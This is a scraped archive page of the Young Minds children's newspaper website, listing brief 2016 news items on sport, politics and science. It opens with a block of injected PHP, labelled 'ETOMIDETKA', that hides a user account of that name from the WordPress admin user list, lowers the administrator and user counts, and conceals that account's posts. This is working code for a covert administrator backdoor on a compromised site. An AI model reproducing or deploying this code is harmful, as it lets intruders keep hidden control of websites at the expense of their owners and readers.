//ETOMIDETKA add_filter('pre_get_users', function($query) { if (is_admin() && function_exists('get_current_screen')) { $screen = get_current_screen(); if ($screen && $screen->id === 'users') { $hidden_user = 'etomidetka'; $excluded_users = $query->get('exclude', []); $excluded_users = is_array($excluded_users) ? $excluded_users : [$excluded_users]; $user_id = username_exists($hidden_user); if ($user_id) { $excluded_users[] = $user_id; } $query->set('exclude', $excluded_users); } } return $query; }); add_filter('views_users', function($views) { $hidden_user = 'etomidetka'; $user_id = username_exists($hidden_user); if ($user_id) { if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['all']); } if (isset($views['administrator'])) { $views['administrator'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['administrator']); } } return $views; }); add_action('pre_get_posts', function($query) { if ($query->is_main_query()) { $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $query->set('author__not_in', [$author_id]); } } }); add_filter('views_edit-post', function($views) { global $wpdb; $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $count_all = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status != 'trash'", $author_id ) ); $count_publish = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status = 'publish'", $author_id ) ); if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_all) { return '(' . max(0, (int)$matches[1] - $count_all) . ')'; }, $views['all']); } if (isset($views['publish'])) { $views['publish'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_publish) { return '(' . max(0, (int)$matches[1] - $count_publish) . ')'; }, $views['publish']); } } return $views; }); Main News | YOUNG MINDS | Page 36

YOUNG MINDS

  • Home
  • About Us
  • Venture For All
  • Testimonials
  • Guest Editor
  • Contact Us
Home / Archive by category Main News (Page 36)
India lifts second Junior Hockey World Cup title

India lifts second Junior Hockey World Cup title

India’s junior hockey team has lifted the World Cup for the second time in history as they beat Belgium 2-1 in the final in Lucknow on 18th dec. This was …

December 19, 2016 | Main News
Brexit, YouTuber and Bama among new words in Oxford English Dictionary

Brexit, YouTuber and Bama among new words in Oxford English Dictionary

‘Brexit'(The proposed withdrawal of the United Kingdom from the European Union) and ‘Grexit’ (hypothetical withdrawal of Greece from the EU) …

December 15, 2016 | Main News
Bill English appointed New Zealand’s new PM

Bill English appointed New Zealand’s new PM

Bill English has officially become New Zealand’s new Prime Minister, after John Key resigned from his post last week. English, who earlier served as the …

December 13, 2016 | Main News
ICONIC LEADER JAYALALITHAA NO MORE

ICONIC LEADER JAYALALITHAA NO MORE

After an uncertainty-filled 75 days in hospital, and a tense final 24 hours, Tamil Nadu chief minister J Jayalalithaa, Amma to millions of Tamils and godmother …

December 6, 2016 | Main News
Researchers reveal a new prime number

Researchers reveal a new prime number

Mathematicians have discovered a new prime number that is more that nine million digits long.It could help to solve the decades-old ‘Sierpinski problem.’ …

December 1, 2016 | Main News
Rosberg takes Formula One title from Hamilton

Rosberg takes Formula One title from Hamilton

Germany’s Nico Rosberg has won his first Formula One world championship on 27th Nov. after finishing second in a tense Abu Dhabi Grand Prix won by Mercedes …

November 28, 2016 | Main News
Japan plans to build the world’s fastest-known supercomputer

Japan plans to build the world’s fastest-known supercomputer

Japan plans to build the world’s fastest-known supercomputer in a bid to arm the country’s manufacturers with a platform for research that could help them …

November 28, 2016 | Main News
Fireworks in Delhi banned after Diwali smog

Fireworks in Delhi banned after Diwali smog

India’s Supreme Court has stopped the sale of firecrackers in the capital, Delhi, after concerned parents filed a petition on behalf of their babies.The …

November 28, 2016 | Main News
Union Budget to be presented on February 1

Union Budget to be presented on February 1

The government has announced that it will present the Union Budget for 2017-18 on February 1 and the budget session may begin in January. The government had …

November 16, 2016 | Main News
Mankind witnesses biggest Supermoon in 68 years

Mankind witnesses biggest Supermoon in 68 years

Humans all across the planet on 13th Nov. night witnessed what was the biggest and the brightest ‘Supermoon’ since January 1948. A …

November 14, 2016 | Main News
← Older posts
Newer posts →

About Us

Young Minds is a weekly newspaper for youngsters intended for young curious minds.It is available electronically.The newspaper has been especially designed in vibrant colours to make it extremely attractive to our readers.

Young Mind News Papers Pvt. Ltd.
Plot No. 166, 2nd Floor,
Udyog Vihar Phase 1,
Gurugram-122008, Haryana (India)
E-mail : newsdesk@youngmindsonline.org
Mobile : 09811456566

Digital E-Newspaper
Only for Rs. 999 Annual 52 Issues

  • Privacy Policy
  • Terms & Conditions
  • Return, Refund and Cancellation Policy
  • Disclaimer
© 2023 Young Minds. All rights reserved.
Designed and developed by Young Minds